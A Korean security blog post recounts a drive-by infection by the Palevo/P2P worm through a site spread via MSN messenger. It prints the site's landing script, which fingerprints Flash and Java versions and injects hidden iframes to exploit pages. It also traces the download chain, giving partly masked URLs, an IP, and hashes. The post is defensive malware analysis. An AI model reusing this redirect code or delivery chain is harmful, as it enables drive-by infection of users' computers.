울지않는벌새 : Security, Movie & Society

악성코드 감염 이야기 : Win32/P2P.worm.133120

벌새::Life
오랜만에 컴퓨터가 악성코드에 감염된 이야기를 하나 하겠습니다.

MSN 메신저를 통해 특정 해외 사이트 도메인이 유포되면서 이에 대한 인터넷 상의 질문을 확인하던 중 실제 컴퓨터가 악성코드에 감염되는 일이 있었습니다.


해당 사이트의 특징은 접속시 그림과 같이 검은색 바탕에 Flash로 제작된 로딩 화면만 반복적으로 재생이 되는 형태로 구성되어 있으며, 사용자 컴퓨터에 Java SE Runtime Environment (JRE)이 설치된 경우에는 시스템 트레이 상에서 동작하는 모습을 볼 수 있습니다.

처음에는 단순히 아무것도 존재하지 않으며, 해당 페이지 소스를 확인하여도 로딩 관련 Flash 관련 swf 파일(정상 파일)만 확인하였기에 무심코 넘어갔습니다.

그렇게 접속 후, 약 10분 남짓한 시간에 우연히 컴퓨터 C 드라이브 상에 수상한 파일(__kb593834.exe)의 존재를 확인하게 되었으며, 파일명이 윈도우 보안패치로 위장한 것임을 쉽게 알 수 있었기에 즉시 시스템 분석을 위해 RunScanner 프로그램을 통해 추가적인 정보를 확인하였습니다.

추가적으로 사용자 휴지통 폴더 내에 임의의 폴더를 생성하여 sysdate.exe(__kb593834.exe 파일 복제)이 등록되어 있는 것을 확인하고 해당 파일에 대해 바이러스토탈(VirusTotal)을 통해 악성 여부를 확인하였습니다.

확인 당시만 하여도 Kaspersky 진단명 P2P-Worm.Win32.Palevo.jrh 이외에는 어떠한 보안제품도 진단하지 않는 상태였습니다.

일단 해당 수집 샘플에 대해 안철수연구소(AhnLab)에 신고를 하고 주말이 겹쳐서 결국 오늘에서야 악성코드로 진단 및 치료를 지원받게 되었는데, 개인적으로 추가적인 정보를 확인하던 중 안철수연구소가 제대로 분석을 하지 못한 부분을 발견하게 되었습니다.

개인적으로 가장 의심이 되는 부분은 어떻게 인터넷 임시 폴더가 아닌 휴지통 또는 C 드라이브 상에 파일이 들어올 수 있느냐의 의문과 혹시 Adobe Flash의 취약점 또는 Java 취약점이 존재하지 않을까의 의구심에서 시작되었습니다.

[ob******cam.com 사이트 상세 소스 분석 정보]

<HTML>
<script type="text/javascript" src="swfobject.js"></script>
<script type="text/javascript">
var version=deconcept.SWFObjectUtil.getPlayerVersion();
if(version['major']==10 || version['major']==9 ){
    if(version['rev']==22){
      document['write']('<iframe width=0 height=0 src=fleska.php></iframe>');
    }else if(version['rev']==12){
        var fuckavpxa = "P";
      document['write']('<iframe width=0 height=0 src=fleska.php></iframe>');
    }else if(version['rev']==159){
      document['write']('<iframe width=0 height=0 src=fleska.php></iframe>');
    }else if(version['rev']==151){
        var fuckavp = "DZ";
      document['write']('<iframe width=0 height=0 src=fleska.php></iframe>');
    }else if(version['rev']==124){
      document['write']('<iframe width=0 height=0 src=fleska.php></iframe>');
    }else if(version['rev']==115){
      document['write']('<iframe width=0 height=0 src=fleska.php></iframe>');
    }else if (window.navigator.javaEnabled()) {
            document['write']('<iframe width=0 height=0 src=java.php></iframe>');
      }
      else {
            document['write']('<iframe width=0 height=0 src=fakeit.php></iframe>');
}
}else if (window.navigator.javaEnabled()) {
            document['write']('<iframe width=0 height=0 src=java.php></iframe>');
      }
      else {
            document['write']('<iframe width=0 height=0 src=fakeit.php></iframe>');
}
</script>
<body>
</body>
</HTML>

이하 생략... (Internet Explorer 상에서 보이는 부분에 관한 소스)


소스에서는 Adobe Flash Player 버전을 체크하여 취약점을 가진 경우 fakeit.php 파일을 통해 FacebookSpy.exe 파일을 다운로드 시키는 것으로 보이며, 만약 Java 관련 체크를 통해 역시 다운로드를 시도하는 것으로 보입니다.(테스트 컴퓨터에서는 프로그램 모두 최신 버전이었는데 다운로드가 이루어진 것으로 보입니다. 어쩌면 그런 것과 상관이 없을 수도 있습니다. 능력 부족으로 )

해당 문제의 사이트에 숨겨진 소스를 확인하여 정리를 해보면 다음과 같습니다.

h**p://ob******cam.com/fleska.php (AVG : Exploit.Flash)
h**p://ob******cam.com/java.php
h**p://ob******cam.com/fakeit.php
 - FacebookSpy.exe (Hauri : Trojan.Win32.Downloader.152576.M)
  ->  h**p://66.**.***.35/sd/agent.php
   ->> C:\__kb593834.exe
(AhnLab : Win32/P2P.worm.133120)


[FacebookSpy.exe 진단 정보 - MD5 : 4c433577583ef84b894003def9445539]



안철수연구소에서는 해당 유포 경로까지 제공하였는데, 이상하게 추가적으로 다운로드되는 FacebookSpy.exe 파일에 대해서는 진단을 추가하지 않은 것으로 확인이 되었습니다.

이렇게 다운로드된 FacebookSpy.exe 파일은 [h**p://66.**.***.35/sd/agent.php] 경로를 통하여 추가적인 악성코드를 다운로드를 하도록 구성되어 있습니다. (덧, ob******cam.com = 66.**.***.35)

실제 초기에 제가 확인한 컴퓨터에 설치된 악성코드 파일은 맨 나중에 다운로드되는 __kb593834.exe 파일로 해당 파일은 웜(Worm) 기능을 가지고 있어서 감염시 사용자 동일 네트워크 대역폭의 또 다른 이를 공격할 수 있으리라 생각됩니다.

[__kb593834.exe 진단 정보 - MD5 : 70f4a2b8a90197ef725936a981e7ba77]



개인적인 생각에는 실제 제 컴퓨터에 파일이 다운로드 되었지만 동작으로 연결이 되지 않은 것은 Adobe Flash / Java 프로그램이 최신 버전으로 설치된 환경이라서 단순히 파일 다운로드만 이루어진 것으로 추정이 되기는 합니다.

하지만 역시 특정 응용 프로그램의 취약점 등을 통해 유포할 목적으로 위와 같은 겉으로 보기에 평범해 보이는 사이트를 통한 유포 방식은 매우 감염도가 높아질 수 있고, 전달 매체가 메신저 프로그램을 통해 이루어지기 때문에 더더욱 전파력이 있을 수 있다고 볼 수 있습니다.

이번 일을 통해 나름대로 몸소 악성코드와 취약점에 대한 체험을 제대로 한 것 같습니다.